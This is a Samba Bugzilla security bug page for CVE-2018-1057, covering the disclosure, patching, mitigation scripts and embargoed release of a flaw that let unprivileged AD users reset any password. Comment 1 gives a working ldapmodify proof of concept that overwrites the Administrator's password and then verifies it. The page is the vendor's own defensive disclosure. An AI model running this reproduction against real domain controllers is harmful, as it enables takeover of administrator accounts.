Bug 13272 (CVE-2018-1057) - [SECURITY] CVE-2018-1057: Unprivileged user can change any user (and admin) password
Summary: [SECURITY] CVE-2018-1057: Unprivileged user can change any user (and admin) p...
Status: RESOLVED FIXED
Alias: CVE-2018-1057
Product: Samba 4.1 and newer
Classification: Unclassified
Component: AD: LDB/DSDB/SAMDB (show other bugs)
Version: unspecified
Hardware: All All
: P5 critical (vote)
Target Milestone: ---
Assignee: Ralph Böhme
QA Contact: Samba QA Contact
URL:
Keywords:
Depends on:
Blocks: 13271
  Show dependency treegraph
 
Reported: 2018-02-14 10:17 UTC by Björn Baumbach
Modified: 2021-08-31 04:02 UTC (History)
17 users (show)

See Also:


Attachments
CVE-2018-1057-master.metze01.patches.txt (31.51 KB, text/plain)
2018-02-23 13:14 UTC, Stefan Metzmacher
metze: review+
metze: review? (slow)
metze: review? (abartlet)
Details
Proposed advisory text (1.59 KB, text/plain)
2018-02-23 14:48 UTC, Ralph Böhme
no flags Details
CVE-2018-1057-v4-8.metze01.patches.txt (31.51 KB, patch)
2018-03-01 12:25 UTC, Stefan Metzmacher
slow: review+
metze: review? (abartlet)
Details
CVE-2018-1057-v4-7.metze01.patches.txt (31.51 KB, patch)
2018-03-01 12:26 UTC, Stefan Metzmacher
slow: review+
metze: review? (abartlet)
Details
CVE-2018-1057-v4-6.metze01.patches.txt (31.64 KB, patch)
2018-03-01 12:26 UTC, Stefan Metzmacher
slow: review+
metze: review? (abartlet)
Details
CVE-2018-1057-v4-5.metze01.patches.txt (31.65 KB, patch)
2018-03-01 12:27 UTC, Stefan Metzmacher
slow: review+
abartlet: review+
Details
Proposed advisory text (4.05 KB, text/plain)
2018-03-02 16:46 UTC, Ralph Böhme
no flags Details
script to disable password changes by others (4.04 KB, text/plain)
2018-03-09 07:04 UTC, Andrew Bartlett
no flags Details
CVE-2018-1057-description.metze04.txt (2.40 KB, text/plain)
2018-03-11 22:19 UTC, Stefan Metzmacher
abartlet: review+
Details
CVE-2018-1057-wiki.metze01.txt (2.85 KB, text/plain)
2018-03-11 22:26 UTC, Stefan Metzmacher
no flags Details
Updated workaround script, lightly tested (6.71 KB, text/plain)
2018-03-11 22:28 UTC, Andrew Bartlett
no flags Details
Updated workaround script, lightly tested, using metze's guid (6.71 KB, text/plain)
2018-03-11 23:16 UTC, Andrew Bartlett
no flags Details
proposed wiki text describing how to run the script (4.58 KB, text/plain)
2018-03-12 03:31 UTC, Andrew Bartlett
no flags Details
CVE-2018-1057-description.metze04.ks.txt (2.40 KB, text/plain)
2018-03-12 08:50 UTC, Karolin Seeger
metze: review+
Details
samba_CVE-2018-1057_helper (6.65 KB, text/x-python)
2018-03-12 17:14 UTC, Stefan Metzmacher
abartlet: review+
Details
Improved wiki text (6.83 KB, text/plain)
2018-03-13 03:45 UTC, Andrew Bartlett
no flags Details
CVE-2018-1057-description.metze04.ks_v2.txt (2.40 KB, text/plain)
2018-03-13 07:53 UTC, Karolin Seeger
no flags Details
CVE-2018-1057-description.abartlet05.txt (2.49 KB, text/plain)
2018-03-13 08:23 UTC, Andrew Bartlett
kseeger: review+
abartlet: review? (metze)
Details
Wiki text containing link to advisory and helper script (7.24 KB, text/plain)
2018-03-13 08:32 UTC, Karolin Seeger
no flags Details
Wiki text containing link to advisory and helper script (7.27 KB, text/plain)
2018-03-13 08:39 UTC, Andrew Bartlett
metze: review+
Details
CVE-2018-1057-v4-4.metze01.patches.txt (31.58 KB, patch)
2018-03-13 09:31 UTC, Stefan Metzmacher
no flags Details
CVE-2018-1057-v4-3.metze01.patches.txt (31.58 KB, patch)
2018-03-13 09:31 UTC, Stefan Metzmacher
no flags Details
CVE-2018-1057-v4-4.metze02.patches.txt (31.56 KB, patch)
2018-03-13 10:52 UTC, Stefan Metzmacher
no flags Details
CVE-2018-1057-v4-3.metze02.patches.txt (31.56 KB, patch)
2018-03-13 10:53 UTC, Stefan Metzmacher
no flags Details
Script with the str(msg.dn) workaround for 4.3 -> 4.6 (6.89 KB, text/x-python)
2018-03-14 02:38 UTC, Andrew Bartlett
no flags Details
samba_CVE-2018-1057_helper (tested with 4.3, 4.6 and 4.7) (6.83 KB, text/x-python)
2018-03-14 10:57 UTC, Stefan Metzmacher
no flags Details

Note You need to log in before you can comment on or make changes to this bug.
Description Björn Baumbach 2018-02-14 10:17:20 UTC

    
Comment 1 Björn Baumbach 2018-02-14 10:42:44 UTC
Unprivileged AD users can change any user (and also the Administrator) password without the need to specify the old user password.

Ralph and Metze are currently working on the fix.

Here is an example where a new user "iamnotpriviliged" changes the
Administrator's password:

# samba-tool user create iamnotpriviliged --password=Passw0rd1

# samba-tool user setpassword Administrator --newpassword=Passw0rd
Changed password OK

# echo IgBHAEAAYQBuAHoARwBlAGgAZQBpAG0AIgA= | base64 -d
"G@anzGeheim"

# ldapmodify -D CN=iamnotpriviliged,CN=Users,DC=dxdom,DC=private -w
Passw0rd1 -h bb-xenial64.dxdom.private -x -ZZ <<EOF
dn: CN=Administrator,CN=Users,DC=dxdom,DC=private
changetype: modify
delete: unicodePwd
-
add: unicodePwd
unicodePwd:: IgBHAEAAYQBuAHoARwBlAGgAZQBpAG0AIgA=
EOF
modifying entry "CN=Administrator,CN=Users,DC=dxdom,DC=private"

# wbinfo -a DXDOM\\Administrator%G@anzGeheim
plaintext password authentication succeeded
challenge/response password authentication succeeded
Comment 2 Ralph Böhme 2018-02-19 13:53:43 UTC
This has been assigned CVE-2018-1057 by Red Hat Product Security.
Comment 3 Stefan Metzmacher 2018-02-23 13:14:16 UTC
Created attachment 13977 [details]
CVE-2018-1057-master.metze01.patches.txt
Comment 4 Ralph Böhme 2018-02-23 14:48:54 UTC
Created attachment 13978 [details]
Proposed advisory text
Comment 5 Andrew Bartlett 2018-02-23 18:50:00 UTC
(In reply to Ralph Böhme from comment #4)
Can the krbtgt key be changed?

If so, it might not be detected because:
 - no human uses it directly
 - each KDC only checks the current value in the directory (then one that is changed)

If that key is changed (and so known) this could allow long-term compromise of the directory even after the issue is patched.
Comment 6 Andrew Bartlett 2018-02-23 19:44:43 UTC
Thankfully direct change of the krbtgt is blocked (a test would be good), but could be vectored via a domain admin reset:

(from password_hash.c)

	if (io->u.is_krbtgt) {
		size_t min = 196;
		size_t max = 255;
		size_t diff = max - min;
		size_t len = max;
		struct ldb_val *krbtgt_utf16 = NULL;

		if (!ac->pwd_reset) {
			return dsdb_module_werror(ac->module,
					LDB_ERR_ATTRIBUTE_OR_VALUE_EXISTS,
					WERR_DS_ATT_ALREADY_EXISTS,
					"Password change on krbtgt not permitted!");
		}
Comment 7 Garming Sam 2018-02-26 04:34:30 UTC
I've taken a look at the patches, and so far they seem reasonable and cover the cases I expect.

I did notice one thing though, you seem to be able to mix and match the different password attributes. e.g. delete: userPassword + add: unicodePwd

As far as I have tested, supplying an differing attribute for the old password (to the new password) still generates the hashes (and checks them) as required. It's an odd behavior, and I would wonder what behavior Windows does in this case.
Comment 10 Andrew Bartlett 2018-02-26 22:53:12 UTC
I think we should extend the workaround section with an actual command that would block the password changes, and another to undo that. 

We should also clarify that banning changes by other means (like setting a minimum password age) won't be effective and why (that machine accounts, of a DC in particular, could still be changed).
Comment 11 Stefan Metzmacher 2018-02-27 05:59:02 UTC
Comment on attachment 13977 [details]
CVE-2018-1057-master.metze01.patches.txt

This passed a private autobuild
Comment 12 Stefan Metzmacher 2018-02-27 16:31:18 UTC
(In reply to Andrew Bartlett from comment #10)

The problem is that we don't have tools implement the workaround.
If you have a good text we can take that, otherwise we could also
say no workaround is possible.
Comment 13 Stefan Metzmacher 2018-02-27 16:37:50 UTC
(In reply to Andrew Bartlett from comment #6)

> if (!ac->pwd_reset) {

In the problematic case we have pwd_reset=true,
so that code doesn't protect, but further down
we have generate_secret_buffer() to generate
a new password instead of using the provides one.

But if someone knows the administrator password
the krbtgt key can be fetched easily.
Comment 14 Ralph Böhme 2018-02-28 11:36:12 UTC
(In reply to Stefan Metzmacher from comment #12)
Whatever we do, it would be good to have something asap as we should probably roll the security fix into 4.8.0, so the security releases must be at the same date as the scheduled 4.8.0 release which is next Thursday.

I'm in favour of keeping the generic workaround description.
Comment 15 Andrew Bartlett 2018-02-28 23:57:30 UTC
(In reply to Ralph Böhme from comment #14)
While we debate the exact wording, can we get backported patches (if required) and open it up to vendors?

I don't like the current wording, I think we really need a script that implements the workaround and a listing of the most obvious not-workarounds (like minimum password age). 

I ask for this because I'm pretty sure we as a team will be asked for it anyway.

But I also understand the time and resource constraints, and there is a risk even sitting on these patches.
Comment 16 Stefan Metzmacher 2018-03-01 12:25:35 UTC
Created attachment 14008 [details]
CVE-2018-1057-v4-8.metze01.patches.txt
Comment 17 Stefan Metzmacher 2018-03-01 12:26:13 UTC
Created attachment 14009 [details]
CVE-2018-1057-v4-7.metze01.patches.txt
Comment 18 Stefan Metzmacher 2018-03-01 12:26:46 UTC
Created attachment 14010 [details]
CVE-2018-1057-v4-6.metze01.patches.txt
Comment 19 Stefan Metzmacher 2018-03-01 12:27:44 UTC
Created attachment 14011 [details]
CVE-2018-1057-v4-5.metze01.patches.txt
Comment 20 Stefan Metzmacher 2018-03-01 19:29:28 UTC
(In reply to Andrew Bartlett from comment #15)

If you have the resources to write such a script, it's highly welcome:-)
Comment 21 Mathieu Parent 2018-03-01 19:59:00 UTC
I hope this will apply down to 4.2 (in Debian jessie, we have 4.2.14+patches).
Comment 22 Andrew Bartlett 2018-03-01 21:17:07 UTC
(In reply to Mathieu Parent from comment #21)
No, the patches do not apply cleanly.  Two of the patches do not apply.

(And keen as I am to help, I can't promise to do the backport right now).

Sorry.


(In reply to Stefan Metzmacher from comment #19)
Have these backported patches passed private autobuilds yet?

Thanks,


(In reply to Stefan Metzmacher from comment #20)
I do realise that is the most reasonable thing.  I didn't want to promise but it is clearly the next step to take here.  

Sorry,

Andrew Bartlett
Comment 23 Stefan Metzmacher 2018-03-01 21:22:43 UTC
(In reply to Andrew Bartlett from comment #22)

Yes, I combined them with the patches for CVE-2018-1050
and run private autobuilds with v4-5-test, v4-6-stable, v4-7-stable, v4-8-test
and master from a few days back.
Comment 24 Ming Chan 2018-03-02 02:26:22 UTC
Proposing embargo lift date: 3/19/2018
Comment 25 Andrew Bartlett 2018-03-02 07:40:02 UTC
Comment on attachment 14011 [details]
CVE-2018-1057-v4-5.metze01.patches.txt

I've checked the patch, it is a direct backport of the one Garming went over with a fine toothed comb for master. 

I've run the test, and it passes, but more importantly it fails when the fixing patches are removed.

I've also looked over the logic and I'm happy with that (it is still over-complex however, something we may wish to address in the long term). 

Thank you to everyone who has worked so hard on this!
Comment 26 Andrew Bartlett 2018-03-02 07:47:52 UTC
I know folks like to ask for the CVSS v3 Vector, so here is what I came up with:

AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H/E:F/RL:O/RC:C 

CVSS Base Score:
    8.8
Impact Subscore:
    5.9
Exploitability Subscore:
    2.8
CVSS Temporal Score:
    8.2
CVSS Environmental Score:
    NA
Modified Impact Subscore:
    NA
Overall CVSS Score:
    8.2


https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H/E:F/RL:O/RC:C
Comment 27 Ralph Böhme 2018-03-02 16:46:54 UTC
Created attachment 14016 [details]
Proposed advisory text

What about this one?
Comment 28 John Hixson (mail undeliverable) 2018-03-02 22:10:21 UTC
On Thu, Mar 01, 2018 at 07:28:02PM +0000, samba-bugs@samba.org wrote:
> https://bugzilla.samba.org/show_bug.cgi?id=13272

"You are not authorized to access bug #13272". 

- John

> 
> Stefan Metzmacher <metze@samba.org> changed:
> 
>            What    |Removed                     |Added
> ----------------------------------------------------------------------------
>                  CC|                            |samba-vendor@samba.org
>               Group|samba-devel                 |samba-vendor
> 
> -- 
> You are receiving this mail because:
> You are on the CC list for the bug.
>
Comment 29 Stefan Metzmacher 2018-03-04 21:26:31 UTC
The planed release date is March 13th.
Comment 30 Andrew Bartlett 2018-03-06 08:15:24 UTC
(In reply to Ralph Böhme from comment #27)
Honestly, I don't like it either, but even with the high priority this has I've not been able to find the time to write something more automated and so less error prone than ldbedit.

How about this:  We pull this out of the advisory and into a wiki page to be debated here but published on the day.  That way packages can be created etc without blocking on a possible workaround (or not), and advise can be updated after the release.
Comment 31 Andrew Bartlett 2018-03-08 11:09:58 UTC
We don't need a website, and certainly not a theme tune, but letting administrators know they need to be ready to patch any AD DC would be handy given we don't have good mitigations. 

What do folks think about a pre-announcement?  I ask here because it impacts vendors too (both ways: concerned customers but also prepared customers). 

On mitigations:
I spoke with (vendor) Tranquil IT today and they are going to play with some mitigation ideas I had but didn't get a chance to test.  Those are:

 setting 'check password script' to bin/false.  Not a total cure, as DC accounts can still be changed, but those are harder to abuse than administrator.

 setting 'server services = -ldap'.  Quite drastic but perhaps keeping the KDC and netlogon service up might be enough for some use cases for a short time. 

Thanks,

Andrew Bartlett
Comment 32 Stefan Metzmacher 2018-03-08 12:54:57 UTC
(In reply to Andrew Bartlett from comment #31)

We did a pre-announcement before, see
https://lists.samba.org/archive/samba-announce/2017/000405.html

Should we just take the similar text, like:

  this is a heads-up that there will be important Samba security updates
  on Wednesday, March 13th (~ 8-11am UTC). Please make sure that your Samba
  servers will be updated immediately after the release!

If there are no objections I'll post this tomorrow.
Comment 33 Arvid Requate 2018-03-08 13:24:21 UTC
Tuesday, March 13th
Comment 34 Stefan Metzmacher 2018-03-08 13:28:03 UTC
(In reply to Arvid Requate from comment #33)

Thanks!

  this is a heads-up that there will be important Samba security updates
  on Tuesday, March 13th (~ 8-11am UTC). Please make sure that your Samba
  servers will be updated immediately after the release!
Comment 35 Andrew Bartlett 2018-03-09 00:18:41 UTC
(In reply to Andrew Bartlett from comment #31)

The most effective, easy to enable and disable, short-term mitigation I could find is setting a minimum password length:

Show the existing settings:

# bin/samba-tool domain passwordsettings show -s st/ad_dc/etc/smb.conf

Password informations for domain 'DC=addom,DC=samba,DC=example,DC=com'

Password complexity: on
Store plaintext passwords: off
Password history length: 24
Minimum password length: 7
Minimum password age (days): 1
Maximum password age (days): 42
Account lockout duration (mins): 30
Account lockout threshold (attempts): 0
Reset account lockout after (mins): 30

Create a pwsettings.ldif file with:

dn: dc=addom,dc=samba,dc=example,dc=com
changetype: modify
replace: minPwdLength
minPwdLength: 2147483639
-

Run this to set the 2GB min pw length.  This is protective as parts of Samba refuse to allocate more than 256MB at a time.

# bin/ldbmodify -H st/ad_dc/private/sam.ldb pwsettings.ldif
Modified 1 records successfully

This only needs to be done on one DC, it will replicate and disable password changes or resets.

This shows it has been set:
# bin/samba-tool domain passwordsettings show -s st/ad_dc/etc/smb.conf

Password informations for domain 'DC=addom,DC=samba,DC=example,DC=com'

Password complexity: on
Store plaintext passwords: off
Password history length: 24
Minimum password length: 2147483639
Minimum password age (days): 1
Maximum password age (days): 42
Account lockout duration (mins): 30
Account lockout threshold (attempts): 0
Reset account lockout after (mins): 30

# This shows it works:

bin/ldbmodify -H ldap://$SERVER -Uunpriv%$PASSWORD pwreset.ldif 
ERR: (Constraint violation) "LDAP error 19 LDAP_CONSTRAINT_VIOLATION -  <0000052D: Constraint violation - check_password_restrictions: the password is too short. It should be equal or longer than 2147483639 characters!> <>" on DN cn=administrator,cn=users,dc=addom,dc=samba,dc=example,dc=com at block before line 6
Modify failed after processing 0 records


This shows how to undo it:

# bin/samba-tool domain passwordsettings set -s st/ad_dc/etc/smb.conf  --min-pwd-length=7

This still only applies to user accounts, but those (administrator) are the easiest to attack.  

Note that other accounts (DC accounts in particular) can also modify the domain or read passwords, but need more complex tools. 

Andrew Bartlett
Comment 36 Andrew Bartlett 2018-03-09 03:33:29 UTC
(In reply to Ralph Böhme from comment #27)

I'm writing the tool I promised, but in the meantime I think the text should say to change OA to OD on the ACE, not remove it.  

I've tested this and it is effective (OD is object deny) and is easier to reverse later (as you don't have to search for the D: part rather than the S: part).
Comment 37 Andrew Bartlett 2018-03-09 07:04:40 UTC
Created attachment 14028 [details]
script to disable password changes by others

Attached is the first draft of the script I promised

Goal
----

It implementing the workaround that Ralph suggests in the current advisory, but modified in the way I suggested earlier, that is to just change the OA (object allow) to OD (object deny).

Unlike the approach described earlier, this should not block normal password changes, but I need to verify this tomorrow.  In particular I don't expect SAMR, or Kerberos password changes to be impacted, and I've already checked that machine account changes are unaffected.  Also un-impacted should be if the LDAP user connecting at Bind time is the LDAP user changing the password.  

(The reason the difference is even allowed is to allow a change of a expired password)


The actual script:
------------------

However as a general principle I also need review of the script, particularly as ACL changes are weird in Samba.

Beyond review, if anyone has the resources to test this out, please do, this is likely to be run extensively early next week. 

The script should run against older Samba versions without modification, so can provide a workaround until the server binaries are patched. 

To lock
# source4/scripting/bin/samba_CVE-2018-1057_helper --lock-pwchange -s st/ad_dc/etc/smb.conf

To unlock
# source4/scripting/bin/samba_CVE-2018-1057_helper --unlock-pwchange -s st/ad_dc/etc/smb.conf

Thanks!
Comment 38 Stefan Metzmacher 2018-03-09 07:48:20 UTC
(In reply to Andrew Bartlett from comment #37)

Hi Andrew,

the OD trick is nice!

I'll have a closer look at the script and may extend it
to also change the defaultSecurityDescriptor attributes
in the schema, so that new accounts will also get this.

I think the maximum password age should also be changed
to something very high, so that it can't happen that
a user is unable to change an expired password.
Comment 40 Andrew Bartlett 2018-03-09 18:27:02 UTC
(In reply to Stefan Metzmacher from comment #38)

OK, so what you are saying is to add some text like this:

"While rare, and not used by windows clients by default, if your network does rely on the *LDAP the password change protocol*, you may consider to set a high maximum password age so that passwords do not expire while you are mitigating this issue".

And thanks for the positive feedback on the script, and the defaultSecurityDescriptor point!

For others following along, the reason to flip OA to OD is that is makes it quite trivial to flip back, however I think we also need to flip the GUID to something we make up.  

Reading this on ACE ordering again in the NZ morning, I think this will actually deny all LDAP password changes, even for self:  

https://msdn.microsoft.com/en-us/library/windows/desktop/aa379298(v=vs.85).aspx

But if we change the GUID it would just be a meaningless ACE, useful only as the marker and so closer to Ralph's mitigation. 

Thanks,

Andrew Bartlett
Comment 41 Stefan Metzmacher 2018-03-09 18:41:18 UTC
(In reply to Andrew Bartlett from comment #40)

Yes, I guess we can just exchange the GUID.

I was too busy to try the defaultSecurityDescriptor thing.
Comment 42 Stefan Metzmacher 2018-03-09 18:43:22 UTC
(In reply to Stefan Metzmacher from comment #41)

I mean keep OA and just change the GUID...
Comment 43 Andrew Bartlett 2018-03-09 19:02:50 UTC
(In reply to Stefan Metzmacher from comment #42)
Thanks.  I'll continue on Monday NZ time.  Contributions by others most welcome!

I realise that is close to deadline but I've tried 'just a little' development on a Saturday and it never stays that way :-)
Comment 45 Stefan Metzmacher 2018-03-11 22:19:49 UTC
Created attachment 14029 [details]
CVE-2018-1057-description.metze04.txt

This refers to https://wiki.samba.org/index.php/CVE-2018-1057
for possible workarounds.
Comment 47 Andrew Bartlett 2018-03-11 22:26:07 UTC
Comment on attachment 14029 [details]
CVE-2018-1057-description.metze04.txt

This looks good to me.
Comment 48 Stefan Metzmacher 2018-03-11 22:26:29 UTC
Created attachment 14030 [details]
CVE-2018-1057-wiki.metze01.txt

First draft for https://wiki.samba.org/index.php/CVE-2018-1057,
but this needs changes once Andrew's script is ready.
Comment 49 Andrew Bartlett 2018-03-11 22:28:01 UTC
Created attachment 14031 [details]
Updated workaround script, lightly tested

Attached is an updated script that implements the defaultSecurityDescriptor change metze suggested
Comment 50 Andrew Bartlett 2018-03-11 22:28:34 UTC
Comment on attachment 14028 [details]
script to disable password changes by others

(mark old script as obsolete)
Comment 51 Stefan Metzmacher 2018-03-11 22:50:31 UTC
(In reply to Andrew Bartlett from comment #49)

Thanks! But can we use a more human readable GUID, like this?

ffffffff-CECE-2018-1057-000000b13272
Comment 52 Andrew Bartlett 2018-03-11 23:16:11 UTC
Created attachment 14032 [details]
Updated workaround script, lightly tested, using metze's guid

Thanks for the suggestion, here is the updated script.
Comment 53 Andrew Bartlett 2018-03-12 03:31:40 UTC
Created attachment 14033 [details]
proposed wiki text describing how to run the script

An updated page for the wiki (created by hand, may contain minor formatting errors)
Comment 54 Karolin Seeger 2018-03-12 08:50:35 UTC
Created attachment 14034 [details]
CVE-2018-1057-description.metze04.ks.txt

users -> users'
Comment 58 Stefan Metzmacher 2018-03-12 13:39:06 UTC
Karolin, I think it would be good to send a notification to all
three bug reports, 60 or 30 mins before the end of the embargo.
Comment 59 Stefan Metzmacher 2018-03-12 17:14:19 UTC
Created attachment 14035 [details]
samba_CVE-2018-1057_helper

Updated workaround script

This fixes the print statements for the dry-run mode
and fixes some trailing whitespaces.

I've tested this within:
make -j testenv SELFTEST_TESTENV=ad_dc:local
and the ACEs are replacted correctly
Comment 60 Andrew Bartlett 2018-03-12 17:38:23 UTC
Comment on attachment 14035 [details]
samba_CVE-2018-1057_helper

Looks good to me.  Thanks!
Comment 61 Andrew Bartlett 2018-03-13 03:45:44 UTC
Created attachment 14036 [details]
Improved wiki text
Comment 62 Karolin Seeger 2018-03-13 07:53:17 UTC
Created attachment 14038 [details]
CVE-2018-1057-description.metze04.ks_v2.txt

Fix version 4.6.15 -> 4.6.14
Comment 63 Andrew Bartlett 2018-03-13 08:23:22 UTC
Created attachment 14039 [details]
CVE-2018-1057-description.abartlet05.txt

If there is still time, this simply clarifies that service accounts are 'users' too.

(Otherwise I've tried to clarify this much in the FAQ)
Comment 64 Stefan Metzmacher 2018-03-13 08:31:31 UTC
Comment on attachment 14035 [details]
samba_CVE-2018-1057_helper

This will be available as
https://download.samba.org/pub/samba/misc/samba_CVE-2018-1057_helper
with the signature
https://download.samba.org/pub/samba/misc/samba_CVE-2018-1057_helper.asc
Comment 65 Karolin Seeger 2018-03-13 08:32:23 UTC
Created attachment 14040 [details]
Wiki text containing link to advisory and helper script
Comment 66 Andrew Bartlett 2018-03-13 08:39:26 UTC
Created attachment 14041 [details]
Wiki text containing link to advisory and helper script

Updated the wiki text as a quick read showed a formatting issue on the first line and that I could improve the text for the script options. 

Thanks so much for filling in the blanks, and particularly for the replication point!
Comment 67 Andrew Bartlett 2018-03-13 08:43:26 UTC
(In reply to Stefan Metzmacher from comment #64)

In the long term this can live in git, I propose 

source4/scripting/bin/samba_CVE-2018-1057_helper

as the path.  I'll add it there tomorrow, but you can put it in earlier with my Signed-off-by if you like.
Comment 68 Stefan Metzmacher 2018-03-13 08:45:42 UTC
Comment on attachment 14041 [details]
Wiki text containing link to advisory and helper script

Looks good.
Comment 69 Stefan Metzmacher 2018-03-13 08:46:57 UTC
The end of the embargo will be announced in about 30 minutes...
Comment 70 Stefan Metzmacher 2018-03-13 09:20:20 UTC
(In reply to Stefan Metzmacher from comment #69)

End of embargo!
Comment 71 Stefan Metzmacher 2018-03-13 09:24:06 UTC
Pushed to autobuild-v4-8-test and master.
Comment 72 Stefan Metzmacher 2018-03-13 09:31:20 UTC
Created attachment 14042 [details]
CVE-2018-1057-v4-4.metze01.patches.txt
Comment 73 Stefan Metzmacher 2018-03-13 09:31:51 UTC
Created attachment 14043 [details]
CVE-2018-1057-v4-3.metze01.patches.txt
Comment 74 Andrew Bartlett 2018-03-13 09:36:58 UTC
Comment on attachment 14043 [details]
CVE-2018-1057-v4-3.metze01.patches.txt

Can you upload these to https://www.samba.org/samba/history/security.html also (as this bug isn't public)?

Thanks,
Comment 75 Stefan Metzmacher 2018-03-13 09:38:19 UTC
(In reply to Andrew Bartlett from comment #74)

I'm working on it...
Comment 77 Stefan Metzmacher 2018-03-13 09:54:29 UTC
(In reply to Andrew Bartlett from comment #74)

Done, https://www.samba.org/samba/patches/ as in the advisory text
redirects to https://www.samba.org/samba/history/security.html
now.
Comment 78 Jones Syue 2018-03-13 10:15:04 UTC
Hello list,

samba-4.4 patch has one compiling failure:
> ../source4/dsdb/samdb/ldb_modules/password_hash.c: In function 'setup_io':
> ../source4/dsdb/samdb/ldb_modules/password_hash.c:2585:24: error: 'struct ph_context' has no member named 'update_password'
>    if (pav == NULL && ac->update_password) {
                        ^
Looks like samba-4.4 do not include Bug#9654
> https://bugzilla.samba.org/show_bug.cgi?id=9654
> https://git.samba.org/?p=samba.git;a=commitdiff;h=8ca1c02163901cea29aac1428607742318433ed3

Should we simply replace this line with on samba-4.4 patch?
-    if (pav == NULL && ac->update_password) {
+    if (pav == NULL) {
Comment 79 Stefan Metzmacher 2018-03-13 10:40:53 UTC
(In reply to Jones Syue from comment #78)

Yes, that looks correct.

Sorry for the trouble, I'll upload new patches shortly.
Comment 80 Stefan Metzmacher 2018-03-13 10:52:36 UTC
Created attachment 14044 [details]
CVE-2018-1057-v4-4.metze02.patches.txt

This is the same as
https://download.samba.org/pub/samba/patches/security/samba-4.4.16-CVE-2018-1057.patch
Comment 81 Stefan Metzmacher 2018-03-13 10:53:28 UTC
Created attachment 14045 [details]
CVE-2018-1057-v4-3.metze02.patches.txt

This is the same as
https://download.samba.org/pub/samba/patches/security/samba-4.3.13-CVE-2018-1057.patch
Comment 82 Jones Syue 2018-03-13 11:19:06 UTC
(In reply to Stefan Metzmacher from comment #80)

Great! Thank you! 
patch => compiling => deploy => works fine!

ldapmodify output:
> modifying entry "CN=Administrator,CN=Users,DC=1282t,DC=addc"
> ldap_modify: Constraint violation (19)
>        additional info: error in module acl: Constraint violation during LDB_MODIFY (19)
Comment 83 Stefan Metzmacher 2018-03-13 15:09:19 UTC
Pushed to v4-8-test and master.
Comment 84 Andrew Bartlett 2018-03-14 02:38:03 UTC
Created attachment 14047 [details]
Script with the str(msg.dn) workaround for 4.3 -> 4.6

The attached script passed a smoke test on Samba 4.3, 4.4, 4.5, 4.6
Comment 85 Stefan Metzmacher 2018-03-14 06:15:28 UTC
Comment on attachment 14047 [details]
Script with the str(msg.dn) workaround for 4.3 -> 4.6

But does it also work with 4.7?
Comment 86 Stefan Metzmacher 2018-03-14 10:57:18 UTC
Created attachment 14048 [details]
samba_CVE-2018-1057_helper (tested with 4.3, 4.6 and 4.7)

This is the updated
https://download.samba.org/pub/samba/misc/samba_CVE-2018-1057_helper
Comment 87 Andrew Bartlett 2018-03-14 18:36:20 UTC
(In reply to Stefan Metzmacher from comment #86)
Thank you very much for handling this!

(I clearly didn't handle this well yesterday, not only didn't I leave enough time to test 4.7 it seems I started from the wrong version of the script!).
Comment 88 Stefan Metzmacher 2018-03-22 09:34:22 UTC
Also fixed in master and 4.8.0
Comment 89 Andrew Bartlett 2021-08-31 04:02:49 UTC
Removing embargo on long-fixed security bug.